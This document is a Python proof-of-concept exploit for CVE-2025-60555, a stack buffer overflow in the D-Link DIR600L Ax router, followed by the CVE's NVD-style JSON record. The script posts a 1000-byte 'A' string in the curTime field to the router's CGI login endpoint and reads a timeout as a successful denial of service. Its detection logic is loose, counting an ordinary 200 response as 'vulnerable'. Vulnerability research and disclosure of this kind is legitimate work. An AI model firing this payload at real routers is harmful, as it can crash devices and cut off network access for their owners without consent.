CVE-2025-60555

#!/usr/bin/env python3 # CVE-2025-60555 PoC - D-Link DIR600L Ax Buffer Overflow # in formSetWizardSelectMode via curTime parameter # Author: Security Researcher # Note: For authorized security testing only import requests import sys TARGET_IP = "192.168.0.1" # Default D-Link router IP TARGET_PORT = 80 CVE_ID = "CVE-2025-60555" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-60555""" url = f"http://{target}/cgi-bin/cgiiplogin.cgi" # Buffer overflow payload with oversized curTime parameter # 1000 bytes of 'A' to overflow the buffer buffer_size = 1000 overflow_payload = "A" * buffer_size # Construct the malicious request data = { "func": "formSetWizardSelectMode", "curTime": overflow_payload, "nextPage": "WIZ_wan.shtml" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Compatible; SecurityScanner)" } try: print(f"[*] Testing target: {target}") print(f"[*] Sending exploit payload for {CVE_ID}") print(f"[*] Payload size: {buffer_size} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 500 or response.status_code == 200: print(f"[!] Target may be vulnerable - Status: {response.status_code}") return True else: print(f"[*] Target appears not vulnerable - Status: {response.status_code}") return False except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable (DoS triggered)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down or not responding") return False except Exception as e: print(f"[!] Error: {str(e)}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP check_vulnerability(target)

{"cve": {"id": "CVE-2025-60555", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:21:04.720", "lastModified": "2025-10-28T02:31:14.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formSetWizardSelectMode."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/10-buffer%20overflow-formSetWizardSelectMode.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}